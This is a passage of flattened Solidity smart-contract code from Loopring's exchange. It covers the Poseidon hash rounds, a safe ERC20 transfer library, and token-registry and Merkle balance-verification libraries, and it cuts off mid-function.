t2, t3, t4, q) // round 30 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 6024433414579583476444635447152826813568595303270846875177844482142230009826) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 31 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 17677827682004946431939402157761289497221048154630238117709539216286149983245) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 32 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 10716307389353583413755237303156291454109852751296156900963208377067748518748) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 33 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 14925386988604173087143546225719076187055229908444910452781922028996524347508) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 34 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 8940878636401797005293482068100797531020505636124892198091491586778667442523) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 35 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 18911747154199663060505302806894425160044925686870165583944475880789706164410) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 36 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 8821532432394939099312235292271438180996556457308429936910969094255825456935) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 37 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 20632576502437623790366878538516326728436616723089049415538037018093616927643) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 38 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 71447649211767888770311304010816315780740050029903404046389165015534756512) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 39 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 2781996465394730190470582631099299305677291329609718650018200531245670229393) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 40 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 12441376330954323535872906380510501637773629931719508864016287320488688345525) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 41 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 2558302139544901035700544058046419714227464650146159803703499681139469546006) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 42 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 10087036781939179132584550273563255199577525914374285705149349445480649057058) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 43 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 4267692623754666261749551533667592242661271409704769363166965280715887854739) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 44 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 4945579503584457514844595640661884835097077318604083061152997449742124905548) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 45 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 17742335354489274412669987990603079185096280484072783973732137326144230832311) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 46 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 6266270088302506215402996795500854910256503071464802875821837403486057988208) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 47 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 2716062168542520412498610856550519519760063668165561277991771577403400784706) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 48 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 19118392018538203167410421493487769944462015419023083813301166096764262134232) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 49 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 9386595745626044000666050847309903206827901310677406022353307960932745699524) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 50 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 9121640807890366356465620448383131419933298563527245687958865317869840082266) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 51 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 3078975275808111706229899605611544294904276390490742680006005661017864583210) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 52 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 7157404299437167354719786626667769956233708887934477609633504801472827442743) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 53 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 14056248655941725362944552761799461694550787028230120190862133165195793034373) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 54 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 14124396743304355958915937804966111851843703158171757752158388556919187839849) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 55 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 11851254356749068692552943732920045260402277343008629727465773766468466181076) t0, t1, t2, t3, t4 := sbox_full(t0, t1, t2, t3, t4, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 56 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 9799099446406796696742256539758943483211846559715874347178722060519817626047) t0, t1, t2, t3, t4 := sbox_full(t0, t1, t2, t3, t4, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 57 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 10156146186214948683880719664738535455146137901666656566575307300522957959544) t0, t1, t2, t3, t4 := sbox_full(t0, t1, t2, t3, t4, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) } return t0; } function hash_t5f6p52(HashInputs5 memory i, uint q) internal pure returns (uint) { // validate inputs require(i.t0 < q, "INVALID_INPUT"); require(i.t1 < q, "INVALID_INPUT"); require(i.t2 < q, "INVALID_INPUT"); require(i.t3 < q, "INVALID_INPUT"); require(i.t4 < q, "INVALID_INPUT"); return hash_t5f6p52_internal(i.t0, i.t1, i.t2, i.t3, i.t4, q); } // // hash_t7f6p52 // struct HashInputs7 { uint t0; uint t1; uint t2; uint t3; uint t4; uint t5; uint t6; } function mix(HashInputs7 memory i, uint q) internal pure { HashInputs7 memory o; o.t0 = mulmod(i.t0, 14183033936038168803360723133013092560869148726790180682363054735190196956789, q); o.t0 = addmod(o.t0, mulmod(i.t1, 9067734253445064890734144122526450279189023719890032859456830213166173619761, q), q); o.t0 = addmod(o.t0, mulmod(i.t2, 16378664841697311562845443097199265623838619398287411428110917414833007677155, q), q); o.t0 = addmod(o.t0, mulmod(i.t3, 12968540216479938138647596899147650021419273189336843725176422194136033835172, q), q); o.t0 = addmod(o.t0, mulmod(i.t4, 3636162562566338420490575570584278737093584021456168183289112789616069756675, q), q); o.t0 = addmod(o.t0, mulmod(i.t5, 8949952361235797771659501126471156178804092479420606597426318793013844305422, q), q); o.t0 = addmod(o.t0, mulmod(i.t6, 13586657904816433080148729258697725609063090799921401830545410130405357110367, q), q); o.t1 = mulmod(i.t0, 2799255644797227968811798608332314218966179365168250111693473252876996230317, q); o.t1 = addmod(o.t1, mulmod(i.t1, 2482058150180648511543788012634934806465808146786082148795902594096349483974, q), q); o.t1 = addmod(o.t1, mulmod(i.t2, 16563522740626180338295201738437974404892092704059676533096069531044355099628, q), q); o.t1 = addmod(o.t1, mulmod(i.t3, 10468644849657689537028565510142839489302836569811003546969773105463051947124, q), q); o.t1 = addmod(o.t1, mulmod(i.t4, 3328913364598498171733622353010907641674136720305714432354138807013088636408, q), q); o.t1 = addmod(o.t1, mulmod(i.t5, 8642889650254799419576843603477253661899356105675006557919250564400804756641, q), q); o.t1 = addmod(o.t1, mulmod(i.t6, 14300697791556510113764686242794463641010174685800128469053974698256194076125, q), q); o.t2 = mulmod(i.t0, 8652975463545710606098548415650457376967119951977109072274595329619335974180, q); o.t2 = addmod(o.t2, mulmod(i.t1, 970943815872417895015626519859542525373809485973005165410533315057253476903, q), q); o.t2 = addmod(o.t2, mulmod(i.t2, 19406667490568134101658669326517700199745817783746545889094238643063688871948, q), q); o.t2 = addmod(o.t2, mulmod(i.t3, 17049854690034965250221386317058877242629221002521630573756355118745574274967, q), q); o.t2 = addmod(o.t2, mulmod(i.t4, 4964394613021008685803675656098849539153699842663541444414978877928878266244, q), q); o.t2 = addmod(o.t2, mulmod(i.t5, 15474947305445649466370538888925567099067120578851553103424183520405650587995, q), q); o.t2 = addmod(o.t2, mulmod(i.t6, 1016119095639665978105768933448186152078842964810837543326777554729232767846, q), q); o.t3 = mulmod(i.t0, 9077319817220936628089890431129759976815127354480867310384708941479362824016, q); o.t3 = addmod(o.t3, mulmod(i.t1, 4770370314098695913091200576539533727214143013236894216582648993741910829490, q), q); o.t3 = addmod(o.t3, mulmod(i.t2, 4298564056297802123194408918029088169104276109138370115401819933600955259473, q), q); o.t3 = addmod(o.t3, mulmod(i.t3, 6905514380186323693285869145872115273350947784558995755916362330070690839131, q), q); o.t3 = addmod(o.t3, mulmod(i.t4, 4783343257810358393326889022942241108539824540285247795235499223017138301952, q), q); o.t3 = addmod(o.t3, mulmod(i.t5, 1420772902128122367335354247676760257656541121773854204774788519230732373317, q), q); o.t3 = addmod(o.t3, mulmod(i.t6, 14172871439045259377975734198064051992755748777535789572469924335100006948373, q), q); o.t4 = mulmod(i.t0, 8303849270045876854140023508764676765932043944545416856530551331270859502246, q); o.t4 = addmod(o.t4, mulmod(i.t1, 20218246699596954048529384569730026273241102596326201163062133863539137060414, q), q); o.t4 = addmod(o.t4, mulmod(i.t2, 1712845821388089905746651754894206522004527237615042226559791118162382909269, q), q); o.t4 = addmod(o.t4, mulmod(i.t3, 13001155522144542028910638547179410124467185319212645031214919884423841839406, q), q); o.t4 = addmod(o.t4, mulmod(i.t4, 16037892369576300958623292723740289861626299352695838577330319504984091062115, q), q); o.t4 = addmod(o.t4, mulmod(i.t5, 19189494548480259335554606182055502469831573298885662881571444557262020106898, q), q); o.t4 = addmod(o.t4, mulmod(i.t6, 19032687447778391106390582750185144485341165205399984747451318330476859342654, q), q); o.t5 = mulmod(i.t0, 13272957914179340594010910867091459756043436017766464331915862093201960540910, q); o.t5 = addmod(o.t5, mulmod(i.t1, 9416416589114508529880440146952102328470363729880726115521103179442988482948, q), q); o.t5 = addmod(o.t5, mulmod(i.t2, 8035240799672199706102747147502951589635001418759394863664434079699838251138, q), q); o.t5 = addmod(o.t5, mulmod(i.t3, 21642389080762222565487157652540372010968704000567605990102641816691459811717, q), q); o.t5 = addmod(o.t5, mulmod(i.t4, 20261355950827657195644012399234591122288573679402601053407151083849785332516, q), q); o.t5 = addmod(o.t5, mulmod(i.t5, 14514189384576734449268559374569145463190040567900950075547616936149781403109, q), q); o.t5 = addmod(o.t5, mulmod(i.t6, 19038036134886073991945204537416211699632292792787812530208911676638479944765, q), q); o.t6 = mulmod(i.t0, 15627836782263662543041758927100784213807648787083018234961118439434298020664, q); o.t6 = addmod(o.t6, mulmod(i.t1, 5655785191024506056588710805596292231240948371113351452712848652644610823632, q), q); o.t6 = addmod(o.t6, mulmod(i.t2, 8265264721707292643644260517162050867559314081394556886644673791575065394002, q), q); o.t6 = addmod(o.t6, mulmod(i.t3, 17151144681903609082202835646026478898625761142991787335302962548605510241586, q), q); o.t6 = addmod(o.t6, mulmod(i.t4, 18731644709777529787185361516475509623264209648904603914668024590231177708831, q), q); o.t6 = addmod(o.t6, mulmod(i.t5, 20697789991623248954020701081488146717484139720322034504511115160686216223641, q), q); o.t6 = addmod(o.t6, mulmod(i.t6, 6200020095464686209289974437830528853749866001482481427982839122465470640886, q), q); i.t0 = o.t0; i.t1 = o.t1; i.t2 = o.t2; i.t3 = o.t3; i.t4 = o.t4; i.t5 = o.t5; i.t6 = o.t6; } function ark(HashInputs7 memory i, uint q, uint c) internal pure { HashInputs7 memory o; o.t0 = addmod(i.t0, c, q); o.t1 = addmod(i.t1, c, q); o.t2 = addmod(i.t2, c, q); o.t3 = addmod(i.t3, c, q); o.t4 = addmod(i.t4, c, q); o.t5 = addmod(i.t5, c, q); o.t6 = addmod(i.t6, c, q); i.t0 = o.t0; i.t1 = o.t1; i.t2 = o.t2; i.t3 = o.t3; i.t4 = o.t4; i.t5 = o.t5; i.t6 = o.t6; } function sbox_full(HashInputs7 memory i, uint q) internal pure { HashInputs7 memory o; o.t0 = mulmod(i.t0, i.t0, q); o.t0 = mulmod(o.t0, o.t0, q); o.t0 = mulmod(i.t0, o.t0, q); o.t1 = mulmod(i.t1, i.t1, q); o.t1 = mulmod(o.t1, o.t1, q); o.t1 = mulmod(i.t1, o.t1, q); o.t2 = mulmod(i.t2, i.t2, q); o.t2 = mulmod(o.t2, o.t2, q); o.t2 = mulmod(i.t2, o.t2, q); o.t3 = mulmod(i.t3, i.t3, q); o.t3 = mulmod(o.t3, o.t3, q); o.t3 = mulmod(i.t3, o.t3, q); o.t4 = mulmod(i.t4, i.t4, q); o.t4 = mulmod(o.t4, o.t4, q); o.t4 = mulmod(i.t4, o.t4, q); o.t5 = mulmod(i.t5, i.t5, q); o.t5 = mulmod(o.t5, o.t5, q); o.t5 = mulmod(i.t5, o.t5, q); o.t6 = mulmod(i.t6, i.t6, q); o.t6 = mulmod(o.t6, o.t6, q); o.t6 = mulmod(i.t6, o.t6, q); i.t0 = o.t0; i.t1 = o.t1; i.t2 = o.t2; i.t3 = o.t3; i.t4 = o.t4; i.t5 = o.t5; i.t6 = o.t6; } function sbox_partial(HashInputs7 memory i, uint q) internal pure { HashInputs7 memory o; o.t0 = mulmod(i.t0, i.t0, q); o.t0 = mulmod(o.t0, o.t0, q); o.t0 = mulmod(i.t0, o.t0, q); i.t0 = o.t0; } function hash_t7f6p52(HashInputs7 memory i, uint q) internal pure returns (uint) { // validate inputs require(i.t0 < q, "INVALID_INPUT"); require(i.t1 < q, "INVALID_INPUT"); require(i.t2 < q, "INVALID_INPUT"); require(i.t3 < q, "INVALID_INPUT"); require(i.t4 < q, "INVALID_INPUT"); require(i.t5 < q, "INVALID_INPUT"); require(i.t6 < q, "INVALID_INPUT"); // round 0 ark(i, q, 14397397413755236225575615486459253198602422701513067526754101844196324375522); sbox_full(i, q); mix(i, q); // round 1 ark(i, q, 10405129301473404666785234951972711717481302463898292859783056520670200613128); sbox_full(i, q); mix(i, q); // round 2 ark(i, q, 5179144822360023508491245509308555580251733042407187134628755730783052214509); sbox_full(i, q); mix(i, q); // round 3 ark(i, q, 9132640374240188374542843306219594180154739721841249568925550236430986592615); sbox_partial(i, q); mix(i, q); // round 4 ark(i, q, 20360807315276763881209958738450444293273549928693737723235350358403012458514); sbox_partial(i, q); mix(i, q); // round 5 ark(i, q, 17933600965499023212689924809448543050840131883187652471064418452962948061619); sbox_partial(i, q); mix(i, q); // round 6 ark(i, q, 3636213416533737411392076250708419981662897009810345015164671602334517041153); sbox_partial(i, q); mix(i, q); // round 7 ark(i, q, 2008540005368330234524962342006691994500273283000229509835662097352946198608); sbox_partial(i, q); mix(i, q); // round 8 ark(i, q, 16018407964853379535338740313053768402596521780991140819786560130595652651567); sbox_partial(i, q); mix(i, q); // round 9 ark(i, q, 20653139667070586705378398435856186172195806027708437373983929336015162186471); sbox_partial(i, q); mix(i, q); // round 10 ark(i, q, 17887713874711369695406927657694993484804203950786446055999405564652412116765); sbox_partial(i, q); mix(i, q); // round 11 ark(i, q, 4852706232225925756777361208698488277369799648067343227630786518486608711772); sbox_partial(i, q); mix(i, q); // round 12 ark(i, q, 8969172011633935669771678412400911310465619639756845342775631896478908389850); sbox_partial(i, q); mix(i, q); // round 13 ark(i, q, 20570199545627577691240476121888846460936245025392381957866134167601058684375); sbox_partial(i, q); mix(i, q); // round 14 ark(i, q, 16442329894745639881165035015179028112772410105963688121820543219662832524136); sbox_partial(i, q); mix(i, q); // round 15 ark(i, q, 20060625627350485876280451423010593928172611031611836167979515653463693899374); sbox_partial(i, q); mix(i, q); // round 16 ark(i, q, 16637282689940520290130302519163090147511023430395200895953984829546679599107); sbox_partial(i, q); mix(i, q); // round 17 ark(i, q, 15599196921909732993082127725908821049411366914683565306060493533569088698214); sbox_partial(i, q); mix(i, q); // round 18 ark(i, q, 16894591341213863947423904025624185991098788054337051624251730868231322135455); sbox_partial(i, q); mix(i, q); // round 19 ark(i, q, 1197934381747032348421303489683932612752526046745577259575778515005162320212); sbox_partial(i, q); mix(i, q); // round 20 ark(i, q, 6172482022646932735745595886795230725225293469762393889050804649558459236626); sbox_partial(i, q); mix(i, q); // round 21 ark(i, q, 21004037394166516054140386756510609698837211370585899203851827276330669555417); sbox_partial(i, q); mix(i, q); // round 22 ark(i, q, 15262034989144652068456967541137853724140836132717012646544737680069032573006); sbox_partial(i, q); mix(i, q); // round 23 ark(i, q, 15017690682054366744270630371095785995296470601172793770224691982518041139766); sbox_partial(i, q); mix(i, q); // round 24 ark(i, q, 15159744167842240513848638419303545693472533086570469712794583342699782519832); sbox_partial(i, q); mix(i, q); // round 25 ark(i, q, 11178069035565459212220861899558526502477231302924961773582350246646450941231); sbox_partial(i, q); mix(i, q); // round 26 ark(i, q, 21154888769130549957415912997229564077486639529994598560737238811887296922114); sbox_partial(i, q); mix(i, q); // round 27 ark(i, q, 20162517328110570500010831422938033120419484532231241180224283481905744633719); sbox_partial(i, q); mix(i, q); // round 28 ark(i, q, 2777362604871784250419758188173029886707024739806641263170345377816177052018); sbox_partial(i, q); mix(i, q); // round 29 ark(i, q, 15732290486829619144634131656503993123618032247178179298922551820261215487562); sbox_partial(i, q); mix(i, q); // round 30 ark(i, q, 6024433414579583476444635447152826813568595303270846875177844482142230009826); sbox_partial(i, q); mix(i, q); // round 31 ark(i, q, 17677827682004946431939402157761289497221048154630238117709539216286149983245); sbox_partial(i, q); mix(i, q); // round 32 ark(i, q, 10716307389353583413755237303156291454109852751296156900963208377067748518748); sbox_partial(i, q); mix(i, q); // round 33 ark(i, q, 14925386988604173087143546225719076187055229908444910452781922028996524347508); sbox_partial(i, q); mix(i, q); // round 34 ark(i, q, 8940878636401797005293482068100797531020505636124892198091491586778667442523); sbox_partial(i, q); mix(i, q); // round 35 ark(i, q, 18911747154199663060505302806894425160044925686870165583944475880789706164410); sbox_partial(i, q); mix(i, q); // round 36 ark(i, q, 8821532432394939099312235292271438180996556457308429936910969094255825456935); sbox_partial(i, q); mix(i, q); // round 37 ark(i, q, 20632576502437623790366878538516326728436616723089049415538037018093616927643); sbox_partial(i, q); mix(i, q); // round 38 ark(i, q, 71447649211767888770311304010816315780740050029903404046389165015534756512); sbox_partial(i, q); mix(i, q); // round 39 ark(i, q, 2781996465394730190470582631099299305677291329609718650018200531245670229393); sbox_partial(i, q); mix(i, q); // round 40 ark(i, q, 12441376330954323535872906380510501637773629931719508864016287320488688345525); sbox_partial(i, q); mix(i, q); // round 41 ark(i, q, 2558302139544901035700544058046419714227464650146159803703499681139469546006); sbox_partial(i, q); mix(i, q); // round 42 ark(i, q, 10087036781939179132584550273563255199577525914374285705149349445480649057058); sbox_partial(i, q); mix(i, q); // round 43 ark(i, q, 4267692623754666261749551533667592242661271409704769363166965280715887854739); sbox_partial(i, q); mix(i, q); // round 44 ark(i, q, 4945579503584457514844595640661884835097077318604083061152997449742124905548); sbox_partial(i, q); mix(i, q); // round 45 ark(i, q, 17742335354489274412669987990603079185096280484072783973732137326144230832311); sbox_partial(i, q); mix(i, q); // round 46 ark(i, q, 6266270088302506215402996795500854910256503071464802875821837403486057988208); sbox_partial(i, q); mix(i, q); // round 47 ark(i, q, 2716062168542520412498610856550519519760063668165561277991771577403400784706); sbox_partial(i, q); mix(i, q); // round 48 ark(i, q, 19118392018538203167410421493487769944462015419023083813301166096764262134232); sbox_partial(i, q); mix(i, q); // round 49 ark(i, q, 9386595745626044000666050847309903206827901310677406022353307960932745699524); sbox_partial(i, q); mix(i, q); // round 50 ark(i, q, 9121640807890366356465620448383131419933298563527245687958865317869840082266); sbox_partial(i, q); mix(i, q); // round 51 ark(i, q, 3078975275808111706229899605611544294904276390490742680006005661017864583210); sbox_partial(i, q); mix(i, q); // round 52 ark(i, q, 7157404299437167354719786626667769956233708887934477609633504801472827442743); sbox_partial(i, q); mix(i, q); // round 53 ark(i, q, 14056248655941725362944552761799461694550787028230120190862133165195793034373); sbox_partial(i, q); mix(i, q); // round 54 ark(i, q, 14124396743304355958915937804966111851843703158171757752158388556919187839849); sbox_partial(i, q); mix(i, q); // round 55 ark(i, q, 11851254356749068692552943732920045260402277343008629727465773766468466181076); sbox_full(i, q); mix(i, q); // round 56 ark(i, q, 9799099446406796696742256539758943483211846559715874347178722060519817626047); sbox_full(i, q); mix(i, q); // round 57 ark(i, q, 10156146186214948683880719664738535455146137901666656566575307300522957959544); sbox_full(i, q); mix(i, q); return i.t0; } } // File: contracts/lib/ERC20SafeTransfer.sol // Copyright 2017 Loopring Technology Limited. /// @title ERC20 safe transfer /// @dev see https://github.com/sec-bit/badERC20Fix /// @author Brecht Devos - <[email protected]> library ERC20SafeTransfer { function safeTransferAndVerify( address token, address to, uint value ) internal { safeTransferWithGasLimitAndVerify( token, to, value, gasleft() ); } function safeTransfer( address token, address to, uint value ) internal returns (bool) { return safeTransferWithGasLimit( token, to, value, gasleft() ); } function safeTransferWithGasLimitAndVerify( address token, address to, uint value, uint gasLimit ) internal { require( safeTransferWithGasLimit(token, to, value, gasLimit), "TRANSFER_FAILURE" ); } function safeTransferWithGasLimit( address token, address to, uint value, uint gasLimit ) internal returns (bool) { // A transfer is successful when 'call' is successful and depending on the token: // - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false) // - A single boolean is returned: this boolean needs to be true (non-zero) // bytes4(keccak256("transfer(address,uint256)")) = 0xa9059cbb bytes memory callData = abi.encodeWithSelector( bytes4(0xa9059cbb), to, value ); (bool success, ) = token.call{gas: gasLimit}(callData); return checkReturnValue(success); } function safeTransferFromAndVerify( address token, address from, address to, uint value ) internal { safeTransferFromWithGasLimitAndVerify( token, from, to, value, gasleft() ); } function safeTransferFrom( address token, address from, address to, uint value ) internal returns (bool) { return safeTransferFromWithGasLimit( token, from, to, value, gasleft() ); } function safeTransferFromWithGasLimitAndVerify( address token, address from, address to, uint value, uint gasLimit ) internal { bool result = safeTransferFromWithGasLimit( token, from, to, value, gasLimit ); require(result, "TRANSFER_FAILURE"); } function safeTransferFromWithGasLimit( address token, address from, address to, uint value, uint gasLimit ) internal returns (bool) { // A transferFrom is successful when 'call' is successful and depending on the token: // - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false) // - A single boolean is returned: this boolean needs to be true (non-zero) // bytes4(keccak256("transferFrom(address,address,uint256)")) = 0x23b872dd bytes memory callData = abi.encodeWithSelector( bytes4(0x23b872dd), from, to, value ); (bool success, ) = token.call{gas: gasLimit}(callData); return checkReturnValue(success); } function checkReturnValue( bool success ) internal pure returns (bool) { // A transfer/transferFrom is successful when 'call' is successful and depending on the token: // - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false) // - A single boolean is returned: this boolean needs to be true (non-zero) if (success) { assembly { switch returndatasize() // Non-standard ERC20: nothing is returned so if 'call' was successful we assume the transfer succeeded case 0 { success := 1 } // Standard ERC20: a single boolean value is returned which needs to be true case 32 { returndatacopy(0, 0, 32) success := mload(0) } // None of the above: not successful default { success := 0 } } } return success; } } // File: contracts/core/impl/libexchange/ExchangeMode.sol // Copyright 2017 Loopring Technology Limited. /// @title ExchangeMode. /// @dev All methods in this lib are internal, therefore, there is no need /// to deploy this library independently. /// @author Brecht Devos - <[email protected]> /// @author Daniel Wang - <[email protected]> library ExchangeMode { using MathUint for uint; function isInWithdrawalMode( ExchangeData.State storage S ) internal // inline call view returns (bool result) { result = S.withdrawalModeStartTime > 0; } function isShutdown( ExchangeData.State storage S ) internal // inline call view returns (bool) { return S.shutdownModeStartTime > 0; } function getNumAvailableForcedSlots( ExchangeData.State storage S ) internal view returns (uint) { return ExchangeData.MAX_OPEN_FORCED_REQUESTS - S.numPendingForcedTransactions; } } // File: contracts/core/impl/libexchange/ExchangeTokens.sol // Copyright 2017 Loopring Technology Limited. /// @title ExchangeTokens. /// @author Daniel Wang - <[email protected]> /// @author Brecht Devos - <[email protected]> library ExchangeTokens { using MathUint for uint; using ERC20SafeTransfer for address; using ExchangeMode for ExchangeData.State; event TokenRegistered( address token, uint16 tokenId ); function getTokenAddress( ExchangeData.State storage S, uint16 tokenID ) public view returns (address) { require(tokenID < S.tokens.length, "INVALID_TOKEN_ID"); return S.tokens[tokenID].token; } function registerToken( ExchangeData.State storage S, address tokenAddress ) public returns (uint16 tokenID) { require(!S.isInWithdrawalMode(), "INVALID_MODE"); require(S.tokenToTokenId[tokenAddress] == 0, "TOKEN_ALREADY_EXIST"); require(S.tokens.length < ExchangeData.NFT_TOKEN_ID_START, "TOKEN_REGISTRY_FULL"); // Check if the deposit contract supports the new token if (S.depositContract != IDepositContract(0)) { require( S.depositContract.isTokenSupported(tokenAddress), "UNSUPPORTED_TOKEN" ); } // Assign a tokenID and store the token ExchangeData.Token memory token = ExchangeData.Token( tokenAddress ); tokenID = uint16(S.tokens.length); S.tokens.push(token); S.tokenToTokenId[tokenAddress] = tokenID + 1; emit TokenRegistered(tokenAddress, tokenID); } function getTokenID( ExchangeData.State storage S, address tokenAddress ) internal // inline call view returns (uint16 tokenID) { tokenID = S.tokenToTokenId[tokenAddress]; require(tokenID != 0, "TOKEN_NOT_FOUND"); tokenID = tokenID - 1; } function isNFT(uint16 tokenID) internal // inline call pure returns (bool) { return tokenID >= ExchangeData.NFT_TOKEN_ID_START; } } // File: contracts/core/impl/libexchange/ExchangeBalances.sol // Copyright 2017 Loopring Technology Limited. /// @title ExchangeBalances. /// @author Daniel Wang - <[email protected]> /// @author Brecht Devos - <[email protected]> library ExchangeBalances { using ExchangeTokens for uint16; using MathUint for uint; function verifyAccountBalance( uint merkleRoot, ExchangeData.MerkleProof calldata merkleProof ) public pure { require( isAccountBalanceCorrect(merkleRoot, merkleProof), "INVALID_MERKLE_TREE_DATA" ); } function isAccountBalanceCorrect( uint merkleRoot, ExchangeData.MerkleProof memory merkleProof ) public pure returns (bool) { // Calculate the Merkle root using the Merkle paths provided uint calculatedRoot = getBalancesRoot( merkleProof.balanceLeaf.tokenID, merkleProof.balanceLeaf.balance, merkleProof.balanceLeaf.weightAMM, merkleProof.balanceLeaf.storageRoot, merkleProof.balanceMerkleProof ); calculatedRoot = getAccountInternalsRoot( merkleProof.accountLeaf.accountID, merkleProof.accountLeaf.owner, merkleProof.accountLeaf.pubKeyX, merkleProof.accountLeaf.pubKeyY, merkleProof.accountLeaf.nonce, merkleProof.accountLeaf.feeBipsAMM, calculatedRoot, merkleProof.accountMerkleProof ); if (merkleProof.balanceLeaf.tokenID.isNFT()) { // Verify the NFT data uint minter = uint(merkleProof.nft.minter); uint nftType = uint(merkleProof.nft.nftType); uint token = uint(merkleProof.nft.token); uint nftIDLo = merkleProof.nft.nftID & 0xffffffffffffffffffffffffffffffff; uint nftIDHi = merkleProof.nft.nftID >> 128; uint creatorFeeBips = merkleProof.nft.creatorFeeBips; Poseidon.HashInputs7 memory inputs = Poseidon.HashInputs7( minter, nftType, token, nftIDLo, nftIDHi, creatorFeeBips, 0 ); uint nftData = Poseidon.hash_t7f6p52(inputs, ExchangeData.SNARK_SCALAR_FIELD); if (nftData != merkleProof.balanceLeaf.weightAMM) { return false; } } // Check against the expected Merkle root return (calculatedRoot == merkleRoot); } function getBalancesRoot( uint16 tokenID, uint balance, uint weightAMM, uint storageRoot, uint[24] memory balanceMerkleProof ) private pure returns (uint) { // Hash the balance leaf uint balanceItem = hashImpl(balance, weightAMM, storageRoot, 0); // Calculate the Merkle root of the balance quad Merkle tree uint _id = tokenID; for (uint depth = 0; depth < 8; depth++) { uint base = depth * 3; if (_id & 3 == 0) { balanceItem = hashImpl( balanceItem, balanceMerkleProof[base], balanceMerkleProof[base + 1], balanceMerkleProof[base + 2] ); } else if (_id & 3 == 1) { balanceItem = hashImpl( balanceMerkleProof[base], balanceItem, balanceMerkleProof[base + 1], balanceMerkleProof[base + 2] ); } else if (_id & 3 == 2) { balanceItem = hashImpl( balanceMerkleProof[base], balanceMerkleProof[base + 1], balanceItem, balanceMerkleProof[base + 2] ); } else if (_id & 3 == 3) { balanceItem = hashImpl( balanceMerkleProof[base], balanceMerkleProof[base + 1], balanceMerkleProof[base + 2], balanceItem ); } _id = _id >> 2; } return balanceItem; } function getAccountInternalsRoot( uint32 accountID, address owner, uint pubKeyX, uint pubKeyY, uint 